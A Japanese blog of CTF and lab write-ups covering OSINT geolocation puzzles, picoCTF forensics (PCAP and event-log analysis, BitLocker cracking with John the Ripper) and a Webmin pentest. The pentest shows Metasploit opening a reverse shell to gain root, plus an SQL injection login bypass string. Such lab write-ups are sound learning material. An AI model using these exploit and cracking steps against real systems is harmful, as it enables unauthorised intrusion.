あとは割り込み場所を確認し、接触したときの距離を考えて答えると


気持ち良すぎる。はまりそう。

p2t(未解決)

この写真の左側に掲示されている写真には、ある動物が写っている。その名前を、日本語で書かれている通りに答えよ。

なにをいっているのかわからぬ!!

00_engineer

東京駅の近くでソフトウェアエンジニアの名札を拾った。おそらく落とし物だろう。 このエンジニアが勤務している会社のWebサイト(トップページ)のURLを答えよ。 Flag 形式: Diver25{https://google.com}

ということで、写真を見るとユーザ名がある。調べてみましょう。

google先生に聞くとgithubが見つかった。index.htmlの中に"kodai Shinonome"という文字列があった。Xでも確認。
これはこのCTFのためにつくったのかな。と思ってたらホームページにキャリアという欄があるやん。
そこの企業を調べたら終了。

01_asset(未解決)

"00_engineer" の問題で見つかった会社のCEOが持っていたスマートフォンの資産番号を答えよ。 Flag 形式: Diver25{ABCD-12345}

そんなとこまでわかるもんなんすか。 まずはCEOを知るために会社のホームページを確認。aboutの下にCEO発見。でも、それ以上はわからん。
そもそも資産番号とは何? (固定資産台帳とは?決算書作成に必要な記載項目や見方を解説)を参考にした。これってどこかに記録されるものなんか、、

03_ceo(未解決)

"00_engineer" の問題で見つかった会社の、CEOのメールアドレス(Gmail)を答えよ。 CEOの名前をtwittergoogleで検索してもひっかからず。
どのようにあがけばいいのかもわからず。なんとなくcontactにあったフォームに送信してみた。
CTFじゃなかったら申し訳ない

next_train

この音声が録音された駅はどこか。駅名を答えよ(日本語でも英語でも可)。 (駅名は鉄道会社の公式サイトやWikipediaに記載されている表記とする) Flag形式: Diver25{京都駅}

まずは聞いてみる。英語聞き取れないのはまじで英語力ないわ。
日本語の部分では14:16発、久里浜行き、JRがキーワードとして聞き取れた。
ここから久里浜行きのJRはJR横須賀線であることがわかった。あとは、時刻表を各駅で見ていった。平日と休日でダイアルが違うことも考慮しないといけないがなんかうまくいきました。運良い。

platform

この写真が撮影された駅はどこか。駅名を答えよ(日本語でも英語でも可)。 (駅名は鉄道会社の公式サイトやWikipediaに記載されている表記とする) Flag形式: Diver25{京都駅}


パット見情報少ないっす。


店の名前。まずはここから探す。らいと、駅沿いでは検索が広い。画像検索をgoogle先生に投げているが、、なんとも、、 先の写真のらいとの隣くらいにウサギのマークあり。"らいと" ウサギ 飲食店で検索すると一件気になる飲食店が見つかり。ストリートビューで見るとビンゴ。終了。

記事 / Article: https://web.archive.org/web/20250108154113/https://www.noticiasaominuto.com/mundo/2699746/kyiv-diz-que-russia-usou-como-recrutas-ate-180000-presidiarios この記事の写真が撮影された場所はどこか。

さて、やっていきましょ。ていっても、言語が打ち込めないぞ、、これ何語なんだ?w

くう。わからん。画像検索してみる。
そうすると3枚くらい広告が違うけど場所が同じ画像が出てくる。
そこから考えたのは

  1. TOKИO-CITYという店に広告が張られている
  2. 150m先にバーガーキングがあること。

この二つで探しているがいいのがヒットしない。
すんません、ChatGPTに上記の条件を探してもらうと 2つのサンクトペテルブルクの場所を提示していただきました。
そのうちの一が正解でした!ムズイ!

hole(未解決)

この穴があった場所はどこか。

となわけで、この穴を探す。
まずヒントが少なすぎるので、画像検索。そうすると一つ車のCMに行きつく。
(BYD’s Yangwang U9 Can Jump Over Potholes (Literally), But How? Passive vs. Active Suspension, Explained) この動画の一つのカットのようだ。

ワンカットにこのようなシーンがあった。(引用:(BYD’s 1,287HP Yangwang U9 Can Jump Over Pot Holes And Road Spikes))
(大同市)中国にある場所のようだ。 google mapで見ていく。

意外とでかい。先の写真から、周りは田んぼ?砂獏?でも緑もある。山もある場所だとわかる。
海抜は1035mということもわかる。

googlemapで片っ端から見ていくのはさすがにやばい。もう少し絞りたい。

それっぽいものはあるが、なんとも。これってなにw

night_street(未解決)

画像の中心に写っている茶色の2階建ての建物に入る施設の正式名称を現地語表記で答えなさい。 Flag形式: Diver25{施設名}(例: Diver25{お台場海浜公園前郵便局}) 注意: この問題を解く際、外部サイトへの機械的なアクセスやスクレイピングは禁止します。また、それらを行う必要はありません。 ただし、ブラウザから手動で取得できる情報や、公開されているAPIサービスやデータセットの利用は問題ありません。

画像を見るとちゃんぽんとクリニックという言葉が分かった。

bridge

動画 / Video: https://www.youtube.com/watch?v=fRMi8TXQRuo (無音です / No audio) この動画で列車が通過した橋梁は、ある災害で損傷した後に架け替えられたものである。架け替えに際して、他の橋梁の構造物が流用されたことがある文献に示されている。その流用元の橋梁名を答えよ(この橋の名前ではない)。 Flag形式: Diver25{橋梁名}(例: Diver25{日本橋川橋梁})

動画を見ているといくつかの建物が目に入る。


特徴的なのはここかと。最初のはgoogle mapで調べてもよくわからなかった。
2つ目の農園はヒット熊本にあるようだ。


ここが走っていた路線でだと予想。名前を知りたいので川の名前、駅の区間名、路線名を検索(歴史的鋼橋: T2-030 第二白川橋梁)というサイトが引っかかる。第二白川橋梁という名前のようだ。

結果的に正解はしましたが、偶然見つかった感じがあります。経緯としましては、
→古い文献があり、そこでは第二白川橋梁という名前がなかった。
→旧名があることを知る
→旧名を探していたら(第二白川橋1954-6-8)というサイト発見。
場所の特徴や改造移設という言葉からflagと判断。終了。

PC周辺機器についてのレビュー

最近社会人になり27インチモニターを買ってからPC周辺の機器に興味を持ち出しています。ここでは買った周辺機器を使った感想を綴っていきたいと思います。

M-IT11DRWH


買った動機:トラックボールマウスを使ってみたかったですw logicoolの静音マウスは指の重さで右クリックが不意に起こるので、今回はクリックにしっかり力を使うELECOMさんのこちらのマウスにしました。
感想:狙った位置にカーソルを持ってくるのが難しい。慣れていないから?特に細かく動かすのが難しい。もっとぬるぬる動いてほしい。まずは数日使ってみる。

次はKTCの27インチモニターとtype-Cハブ、logicoolのマウス、ノートPCのスペックについて書こうと思います。

らいとあっぷ(picoCTF 2025)

ほどなくライトアップの旅に統合します。情けないライトアップですが、わたくしの試行錯誤をお楽しみください。

forensics

Ph4nt0m 1ntrud3r

A digital ghost has breached my defenses, and my sensitive data has been stolen! 😱💻 Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag. To solve this challenge, you'll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder! Find the PCAP file here Network Traffic PCAP file and try to get the flag. ということで、PCAPファイルを渡されて解析するようだ。

12バイトや8バイトの文字列をやり取りしている。文字列を見ると末尾が=で終わっている。これはbase64ですわな。というわけで、cyberchefに投げる。
そうすると、12バイトの方が可読可能な文字列になった。
しかし、順番がよくわからない。
ここで、ヒントを確認した。時系列が大切だと書いてある。よって、時間でソートしてみる。
番号と時系列は違うのを知りました。これで12バイトの塊が時系列の最後らへんに集まった。そこをcyberchefに投げたらflagゲット。終了。

Event-Viewing

One of the employees at your company has their computer infected by malware! Turns out every time they try to switch on the computer, it shuts down right after they log in. The story given by the employee is as follows: They installed software using an installer they downloaded online They ran the installed software but it seemed to do nothing Now every time they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly. See if you can find evidence for the each of these events and retrieve the flag (split into 3 pieces) from the correct logs! Download the Windows Log file here
ということで、ログファイルを解析する。まず、ツールを使って解析し、evtxファイルのログをcsvにする。さて、イベントログから解析していく。

シャットダウンのイベントIDは1074である。検索すると4件あった。それらを調べると
{"EventData":{"Data":[{"@Name":"param1","#text":"C:\\Windows\\system32\\shutdown.exe (DESKTOP-EKVR84B)"},{"@Name":"param2","#text":"DESKTOP-EKVR84B"},{"@Name":"param3","#text":"No title for this reason could be found"},{"@Name":"param4","#text":"0x800000ff"},{"@Name":"param5","#text":"shutdown"},{"@Name":"param6","#text":"dDAwbF84MWJhM2ZlOX0="},{"@Name":"param7","#text":"DESKTOP-EKVR84B\\user"}]}}が2024/7/15 17:01:05と2024/7/15 17:02:35のログから見つけた。param6にbase64されている文字列からこれがキーワードだと推測した。 よって、2024/7/15 17:01:05より前の時間で感染したことになる。 次にどんなものをインストールしたのかを調べていく。
chatGPTに聞くと11707がインストールの成功を意味しているようだ。ここを探していく。 インストールされたものの名前を見た時にmicrosoftやvsは正規っぽいがProduct: Totally_Legit_Software -- Installation completed successfully., (NULL), (NULL), (NULL), (NULL), (NULL)このインストールが気になる。あんまり知らないファイル名である。このログの下にイベントID1033のイベントがあり、その文字列が{"EventData":{"Data":"Totally_Legit_Software, 1.3.3.7, 0, 0, cGljb0NURntFdjNudF92aTN3djNyXw==, (NULL)","Binary":"7B-33-44-33-43-33-38-33-33-2D-44-45-44-36-2D-34-30-32-32-2D-42-35-41-31-2D-45-37-46-33-37-37-38-39-43-33-39-30-7D-30-30-30-30-37-36-35-33-37-62-39-37-30-32-33-39-66-39-61-30-37-35-30-63-34-31-62-38-38-36-34-66-64-61-63-39-30-30-30-30-30-30-30-30"}}base64を見つけた。このツールがおかしいということが分かった。2024/7/15 15:55:58のインストールである。

では、最後にこのファイルを実行したログを探す。Totally_Legit_Softwareを探しているとレジストリを書き換えているログが見つかった。これがシャットダウンの原因のようだ。 {"EventData":{"Data":[{"@Name":"SubjectUserSid","#text":"S-1-5-21-3576963320-1344788273-4164204335-1001"},{"@Name":"SubjectUserName","#text":"user"},{"@Name":"SubjectDomainName","#text":"DESKTOP-EKVR84B"},{"@Name":"SubjectLogonId","#text":"0x5A428"},{"@Name":"ObjectName","#text":"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"},{"@Name":"ObjectValueName","#text":"Immediate Shutdown (MXNfYV9wcjN0dHlfdXMzZnVsXw==)"},{"@Name":"HandleId","#text":"0x208"},{"@Name":"OperationType","#text":"%%1904"},{"@Name":"OldValueType","#text":"-"},{"@Name":"OldValue","#text":"-"},{"@Name":"NewValueType","#text":"%%1873"},{"@Name":"NewValue","#text":"C:\\Program Files (x86)\\Totally_Legit_Software\\custom_shutdown.exe"},{"@Name":"ProcessId","#text":"0x1BD0"},{"@Name":"ProcessName","#text":"C:\\Program Files (x86)\\Totally_Legit_Software\\Totally_Legit_Software.exe"}]}} ということで3つの断片を探すことに成功。でも、もしもbase64のヒントがなければ見つけられていないので、イベントIDを覚えていくことも重要に思う。

Bitlocker-1

Jacky is not very knowledgable about the best security passwords and used a simple password to encrypt their BitLocker drive. See if you can break through the encryption! Download the disk image here

ビットロッカーを初めて聞いた。なんぞ?

知識(ビットロッカー)
ビットロッカー BitLockerとは、Microsoftが開発したディスク暗号化機能の一つで、Windows Vista以降のOSに搭載されています。この機能は、コンピューターのデータを保護するために、ハードディスクやUSBメモリなどのストレージデバイスに保存されている情報を暗号化することができます。これにより、デバイスが紛失や盗難にあった場合でも、悪意のある第三者がデータにアクセスすることを防ぐことができます。(引用:(BitLockerとは?重要性や注意点、設定方法をわかりやすく解説!))

つまり、渡されたディスクイメージはビットロッカーで暗号化されているということでしょうね。

サイトを調べていると(bitlocker2john を使って BitLocker 暗号化ボリュームの情報を抽出する方法)というサイトに解析方法が載っていた。 John the Ripper を利用する感じなのかな。

知識( John the Ripper )
John the Ripper パスワードクラッキングツール。(【Kali linux】John the Ripperを使ってみる) 公式からダウンロードしてもbitlocker2johnが見当たらなかったので'─# apt install john'をしたらできた。

暗号化されているイメージファイルを解析するにはbitlocker2john -iでファイルのハッシュ情報を確認できるようだ。

└─# bitlocker2john -i bitlocker-1.dd
Encrypted device bitlocker-1.dd opened, size 100MB

Signature found at 0x3
Version: 8
Invalid version, looking for a signature with valid version...
・・
User Password hash:
$bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d
Hash type: User Password with MAC verification (slower solution, no false positives)
・・

人間が可読できる情報ではないようだ。(bitlocker2john を使って BitLocker 暗号化ボリュームの情報を抽出する方法)を参考にしているが、どうやら上記の情報をファイルにしてjohn the ripperに解析させるという流れのようだ。
やってみる

結果

└─# john --show encrypted_drive_hash.txt
Created directory: /root/.john
0 password hashes cracked, 2 left

クラックできず。デフォルトではだめなのかな。(John the RipperでOSユーザのパスワードをクラッキングする)どうやらjohnコマンドで解析したのちに--showオプションをつけないといけないようだ。というわけでおpしょんを外して再実行。時間がかかっている。いい感じかな?めちゃながい。休憩しよ。
Proceeding with incremental:ASCIIが現れてから、かれこれ5時間待ったが実行が終わらない。違うんですね。WriteUp見る。(picoCTF2025 writeup/a>)。

まずbitlocker2john -i bitlocker-1.ddで出力されたものすべてを解析にかけるわけではないのですね。(John the RipperでOSユーザのパスワードをクラッキングする)でも、

クラッキングしたいユーザの情報のみを記載しているファイルを用意します。

と書いてありますわ。
でも、上記方法でもできるようなサイトもあるので、使用する辞書ファイルが悪い可能性もありますね。
※後々検証したらユーザの情報だけじゃなくてもクラッシュできました。やはり必要なのは良質なrockyou.txtファイル!
john the ripperでなくて、hashcatを使用することも可能とある。パスワードクラックはこの二つなのかな。(CTFのWebセキュリティにおけるPassword Cracking, ハッシュ, 暗号化)

また、rockyou.txtもさまざまあるが、wordlist(wordlists)がよさそうだ。
といいつつ、うまくいかない。

└─# john --wordlist=/usr/share/wordlists/rockyou.txt encrypted_drive_hash.txt
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Using default input encoding: UTF-8
Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 16 OpenMP threads
Crash recovery file is locked: /root/.john/john.rec

この下のエラーが出てくる。chat GPTに聞くと削除したらいいじゃねと出てきたので、削除してみる。

└─# john --wordlist=/usr/share/wordlists/rockyou.txt encrypted_drive_hash.txt
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Using default input encoding: UTF-8
Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jacqueline       (?)
1g 0:00:03:18 0.07% (ETA: 2025-05-14 22:32) 0.005033g/s 57.49p/s 57.49c/s 57.49C/s warrior1..polito
Session aborted

総じてうまくいきましたね。時間かかったー。jacquelineがパスワードなのかな。
みんなdislockerを利用しているので、私も使おうと思っていますが、autopsyが好きなので、そっちでできるならその方法もやりたい。

  • autopsy [f:id:k_yukichi:20250511202244p:plain]
    bitlockerのパスワードを入力する欄があるので、先のパスワードを入力してみた。進めたらflag.txtを見つけた。終了。
    ※次回hashcatとdislockerを利用します。

考察 john the ripperを利用してみた。パスワードクラックでは辞書の質がが大切だと感じた。johnのデフォルトの辞書でだめなら他のを試すべき。総当たりとか博打過ぎる。(今回ここで傍観してました。)
エラーが出てきたときは失敗しただけで終えず、エラーの原因を探るべき。正解の道でもエラーは全然出るぞ。
ツール(john the ripper等)の使い方を理解してから使う。使い方違うと時間だけ過ぎるぞ。

RED

RED, RED, RED, RED Download the image: red.png
ということで、真っ赤な四角形の画像を取得した。まずは初手行きましょう。

└─# file red.png
red.png: PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced

通常のpngデータである。

└─# strings red.png
IHDR
tEXtPoem
Crimson heart, vibrant and bold,
Hearts flutter at your sight.
Evenings glow softly red,
Cherries burst with sweet life.
Kisses linger with your warmth.
Love deep as merlot.
Scarlet leaves falling softly,
Bold in every stroke.x
IDATx
IEND

stringsコマンドを打ったら何やら出てきた。ポエム?意味を見てもあんまし。なにかしらがハイディングしているかも?
ま、(Aperi'Solve)にぶち込んだ。そしたら、 [f:id:k_yukichi:20250312171759p:plain]
Zstegに怪しい文字列発見。zstegは調べるとステガノグラフィーを検出するツールのようだ。

知識(Zsteg)
Zsteg ステガノグラフィーを検出するツール(CTFにおけるステガノグラフィ入門とまとめ)

ということで、ステガノグラフィーがあったということですね。 [f:id:k_yukichi:20250312172433p:plain]
画像の最下位ビットに注目すると隠されていたようだ。終了。

Bitlocker-2

Jacky has learnt about the importance of strong passwords and made sure to encrypt the BitLocker drive with a very long and complex password. We managed to capture the RAM while this drive was opened however. See if you can break through the encryption! Download the disk image here and the RAM dump here
ということで、bitlockされているイメージファイルとメモリダンプされたファイルが渡されているようだ。
メモリ解析は久しぶりだ。調べているとメモリ解析にはVolatility3というツールがいいようだ。
(CTFのフォレンジックにおけるメモリフォレンジックまとめ [Volatility 3, Volatility 2])を確認して、windows.info.Infoを調べてみたが、何かうまくいってないような。

└─# file /home/yukichi/mount/pico/Bitlocker-2/memdump.mem
/home/yukichi/mount/pico/Bitlocker-2/memdump.mem: data

初心に戻って初手fileコマンド。でもdataとしか出てこない。RAM Dumpであることはわかっているのに。OSが特定できていないのが、原因なのだろうか?
脳筋プレーstringsコマンドを眺めてみた。C:\Windows\System32\iertutil.dllという記載あり。windows環境のメモリかな。と言いつつ実行結果を待ってみた。

Kernel Base     0xf80062600000
DTB     0x1ad000
Symbols file:///home/yukichi/mount/tools/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/89284D0CA6ACC8274B9A44BD5AF9290B-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 FileLayer

Volatility was unable to read a requested page:
Page error 0xf80063200b30 in layer layer_name (Page Fault at entry 0x1832100002064 in page entry)

        * Memory smear during acquisition (try re-acquiring if possible)
        * An intentionally invalid page lookup (operating system protection)
        * A bug in the plugin/volatility3 (re-run with -vvv and file a bug)

No further results will be produced

やっぱりうまくいかないようだ。

ベイビーらいとあっぷ(FFRI Security x NFLabs. Cybersecurity Challenge For Students 2024)

一問でも解けたらいいかなと思って挑みました。
一問は解けた。実施期間外で2問解くことに成功。そのほか2問挑んだ問題の途中過程を載せています。他のwriteupと違い、解いているとき、考えて試行したことを書いてあります。余分な部分もありますが、お楽しみいただけたら幸いです。

Pentest

[Easy] WebAdmin

新人のサーバ管理者がWebサーバを構築していたところ、使っていたアプリケーションと設定に脆弱性があり、サーバを攻撃者に乗っ取られてしまったようです。 セキュリティエンジニアのあなたは、サーバのコピーを作って攻撃者がどのようにサーバを乗っ取ったか再現することにしました。攻撃者の行動を再現してサーバのroot権限を取得し、/root/root.txt の中に書いてあるフラグを答えてください。https://box.challenge.nflabs.jp/exercises/439

まずはアクセスしてみましょう。

ウェブでアクセスしてみたけど。まず、これはなんだ?VPNアクセスできているのだろうか?攻撃された後のサイトにアクセスした状態なのか?
いや、そもそもアクセスなので、ssh?でもユーザーは何だろうか?まず、サーバーを立てて、アクセスできているかを確認する。

└─# ping 10.0.102.231
PING 10.0.102.231 (10.0.102.231) 56(84) bytes of data.
64 bytes from 10.0.102.231: icmp_seq=1 ttl=63 time=18.7 ms
64 bytes from 10.0.102.231: icmp_seq=2 ttl=63 time=17.3 ms
64 bytes from 10.0.102.231: icmp_seq=3 ttl=63 time=16.7 ms

pingは通っているようだ。VPN接続してwebサーバーにはアクセスできているようだ。次に、ログインできるかを考える。

└─# ssh root@10.0.102.231
root@10.0.102.231: Permission denied (publickey).

sshしてみたけど、公開鍵認証を採用しているようで、ログインはできそうにない。
webサーバといっているので、80番ポートが開いている可能性がありそう。調べていると、どのポートが開いているかどうかがnmapというコマンドで行えるようだ。

└─# nmap 10.0.102.231
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 04:08 UTC
Nmap scan report for 10.0.102.231
Host is up (0.0026s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 5.84 seconds

22,80,443番ポートが開いているようだ。
80ポートにcurlしてみると最初のサイトからアクセスした内容が返ってきた。nginxを使っていることが分かる。(第4章: NginxをインストールしてWebサーバーを動かしてみる)調べていると、この画面はnginxのデフォルトのページのようだ。
ここで、ふと。デフォルトが表示しているところから、設定に脆弱性があると考えた。そこで、ファイルトラバーサルすることができるかをやってみる。
しかし、http://<webサーバIPアドレス>/../../../root/root.txtとして、実行した場合、http://<webサーバIPアドレス>/root/root.txtとなり、../が利用できなさそう。

しかし、nginxのバージョンが分かった。デフォルト設定のままの脆弱性かnginx/1.18.0 というバージョンの脆弱性を攻めていく方針で行けばいいのかな?
ここで問題を読んでいると、「ペネトレーションテストを行って」とある。そこで、ペネトレーションテストについて、調べてみた。(ペネトレーションテスト入門)有益なサイトだ。
ここで、nmapにオプションがあり、表示できるものが変わるようだ。そりゃ、オプションはあるわな。

└─# nmap -T4 -A -v -p- -Pn 10.0.102.231
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 07:30 UTC
・・・
Scanning 10.0.102.231 [65535 ports]
Discovered open port 443/tcp on 10.0.102.231
Discovered open port 80/tcp on 10.0.102.231
Discovered open port 22/tcp on 10.0.102.231
Discovered open port 10000/tcp on 10.0.102.231
・・・

もう一度オプションをつけて、nmapしてみると10000番ポートが開いている。(ポート番号(10000-49151))によるとndmpというサービスによくあてられているポート番号のようだ。

知識(ndmp)
ndmp (Backup Exec の NDMP オプションでファイラー (NAS) のバックアップを実行する方法)を参考にした。データを管理するプロトコルのようだ。

怪しい。ここのポートを調べる。 └─# curl 10.0.102.231:10000を実行すると、データが送られてきた。見にくいので、URL上で見てみると

ログイン画面が出てきた。開発者ツールで見てみるとtestingとredirectいうクッキーがある。これはcookieで何かできるのか?
さっきのサイトでnmap脆弱性をスキャンすることが出来るようなのでしてみる。

└─# nmap -p 10000 --script vuln 10.0.102.231
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 08:10 UTC
Nmap scan report for 10.0.102.231
Host is up (0.0050s latency).

PORT      STATE SERVICE
10000/tcp open  snet-sensor-mgmt

10000ポートではsnet-sensor-mgmtというサービスが動いている。これは(Ubuntu をブラウザから管理する Webmin)で調べると、web上でubuntuにアクセスするサービスのようだ。

これ以降、試行錯誤しているが、いい感じには進まない。
sshの公開鍵での認証よりはwebminのパスワード認証の方が突破の可能性はありそう。しかし、

  • CVEを見つけても攻撃の仕方が分からない。
  • SQL文をたたいても無効な文字だと言われる。
  • よくあるパスワードやユーザー名でもログインできない。

dirbgobusterを試したが、うまくいかなかった。   また、色々調べていると、(Kali LinuxのMetasploitで脆弱性を突いたペネトレーションテスト)というサイトにたどり着いた。

└─# nmap -sV -O -p- 10.0.102.68
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-18 03:15 UTC
Nmap scan report for 10.0.102.68
Host is up (0.011s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx/1.18.0 (Ubuntu)
443/tcp   open  https?
10000/tcp open  http    MiniServ 1.920 (Webmin httpd)

nmapを再度するとwebminのバージョンもわかった。やっぱり、オプション大切。metaspolitってツールを使うと脆弱性診断的な、ペネトレーションテストが行えるようだ。その前に、CVEやexploit-DBでどのように攻撃できるか探ろう。MiniServ 1.920で検索すると(Webmin 1.920 - Unauthenticated Remote Code Execution)というような、いかにも攻撃できそう脆弱性が見つかっているようだ。でも、ここからどうすればいいかわからない。

落ち着いて整理する。外部に開かれているのは、

この4つである。この4つの中での脆弱性を考えていく。dirbのリスト攻撃は特に引っかからなかった。(Nginx)のファイルトラバーサルも効果なし。
では、一番何かできそうなminiservから調査する。

webmin 1.920で調べると3つのexploitがあるようだ。
(Metasploitの基本的な使い方を解説【Kali Linux】)また、metasploitの使い方を調べてみた。さて、virtual boxでkali linuxを立てて、metasploitを実行してみた。

msf6 > search webmin

Matching Modules
================

   #   Name                                           Disclosure Date  Rank       Check  Description
   -   ----                                           ---------------  ----       -----  -----------
   0   exploit/unix/webapp/webmin_show_cgi_exec       2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
   1   auxiliary/admin/webmin/file_disclosure         2006-06-30       normal     No     Webmin File Disclosure
   2   exploit/linux/http/webmin_file_manager_rce     2022-02-26       excellent  Yes    Webmin File Manager RCE
   3   exploit/linux/http/webmin_package_updates_rce  2022-07-26       excellent  Yes    Webmin Package Updates RCE
・・・
   10  exploit/linux/http/webmin_backdoor             2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor
   11    \_ target: Automatic (Unix In-Memory)        .                .          .      .
   12    \_ target: Automatic (Linux Dropper)         .                .          .      .

12もの攻撃手法があるようだ。 どれを実行したらよいのだろうか。(Webmin - Exploit 2)が今回のに似ていそう。これをまずは参考にしていく。やってみたが、不発っぽい。

12通りやっていっても、なんかうまくいかない。使っていて分かったのが、入力に絶対必要な変数が存在している。そこで、その変数に今までの調べで知りえないものが含まれているもの(例:password,UserName)や、webminのバージョンが合わないものも違いそう。
そうすると、searchした中で、10番が求められているものがIPアドレスとポート番号だけなので、実行できる可能性が高いような。でも、10番を実行してもうまくいかない。なんでーーー。

ここで、一回nginxについて調べてみる。

nginx 1.18.0にはないとexploitDBは言っている。これではないのか。
いろいろ試行錯誤してみましたが、metasploitで10番がうまくいきそうな感じが一番する(でも、うまくいかない)。

[*] Started reverse TCP handler on 10.0.2.15:4445 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x64/meterpreter/reverse_tcp command stager
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Exploit completed, but no session was created.

最後のコネクションが確立できないのはなんでだろう。このような返答はなにがいけないのだろうか?
webで調べていましたが、([Solve] Exploit completed but no session was created | Metasploit Framework Error Fix in Hindi)一番の気づきをくれたのはこの動画です。私はvirtualboxにkali linuxを立てて、metasploitを利用していました。仮想環境のせいで、ネットワーク関係がよろしくなかったようだ。ネットワークをNATからブリッジ接続にして仮想環境とwebサーバ自体とを通信できる状態にして行ってみた。

msf6 exploit(linux/http/webmin_backdoor) > run

[*] Started reverse TCP handler on 192.168.100.182:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (192.168.100.182:4444 -> 10.0.102.40:42306) at 2024-09-18 06:18:41 -0400

確立することに成功。感動。/root/root.txtを見つけに行く。

pwd
/usr/share/webmin/acl
cd ../
pwd
/usr/share/webmin/acl

変わらない。rootディレクトリまで行って、catすることを目標にしていたけど、ここから動けないようだ。
一応lsしてみましょうか。たくさん出た。なにかありそうなものをcatしてみる。

ls
CHANGELOG
backup_config.pl
edit_pass.cgi
save_pass.cgi
save_user.cgi
useradmin_update.pl

一部抜粋。ここら辺が情報ありそう?いろいろ見たけど、あまり有益な情報なし。
そういえば、攻撃者はよくwhoamiコマンドをたたくということを見たことがある。やってみよう。

whoami         
root

おっと。root権限があるのかい。じゃあ、話は早い。目的のものをcatすればいいじゃないか。cat /root/root.txtを行ったら、flagゲット。終了。

太郎君は写真を撮るのが好きで、自分で作ったサイトで写真を公開しています。 でも、太郎君はセキュリティには少し疎いようです。 サーバの脆弱性を探し、太郎君のサーバをセキュアにするお手伝いをしましょう。1st missionでは、/var/www/flag1.txt の中に書いてあるフラグを答えてください。

まずは、サイトを訪れましょう。
シンプルなデザイン。ペネトレーションテストをしていく。まずはnmap

└─# nmap -sV -O -p- 10.0.102.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 05:51 UTC
Nmap scan report for 10.0.102.205
Host is up (0.011s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache/2.4.58 (Ubuntu)
443/tcp open  https?

よくあるポートは開いている。まずは80番を確認していく。

apacheを確認したが、バージョンをexploit dbで確認したがヒットなし。
sshも特になし。ふむ、どうしたものか。
次にポートスキャンで脆弱性を探す。

└─# nmap -p 80 --script vuln 10.0.102.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 05:57 UTC
Nmap scan report for 10.0.102.205
Host is up (0.0021s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-cookie-flags:
|   /admin/login.php:
|     PHPSESSID:
|_      httponly flag not set
| http-enum:
|_  /admin/login.php: Possible admin folder
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750

Nmap done: 1 IP address (1 host up) scanned in 522.24 seconds

脆弱性がありそうなところは上のような部分だ。/admin/login.phpというものがあるようだ。

お、ログイン画面に来た。何やら攻撃できそうですね。まずはSQLインジェクションを考えるが、adminなどのユーザー名でSQLインジェクションしても駄目っぽい。 (CTFのWebセキュリティにおけるSQL Injectionまとめ(MySQL/MariaDB, PostgreSQL, SQL Server))を見ながらインジェクションできないかを考える。#を使えたので、mysqlを利用しているのかな?

(Gallery TryHackMe Writeup)ほかのctfを参考にしていたら、admin ' or 1=1 limit 1-- +'というもので実行してみたら、ログインに成功。違いは何だったのだろうか? 後々調べよう。(後日SQLmapという存在を知る。これでやると何かわかるのかな?)
とりあえず、ログインに成功。ここからどうすればいいのだろうか?アップロードを用いて攻撃を考えろということかな。
まず、アップロードできるかをやってみる。
正常にできそう。
.jpgなら/upload/imagesに入れることができた。

しかし、テキストファイルはimagesの中には入らなかった。拡張子によってアップロードされる場所が違うのだろうか?
しかし、もう一度上げるとすでにあるといわれる。どこかのフォルダには入っているようだ。
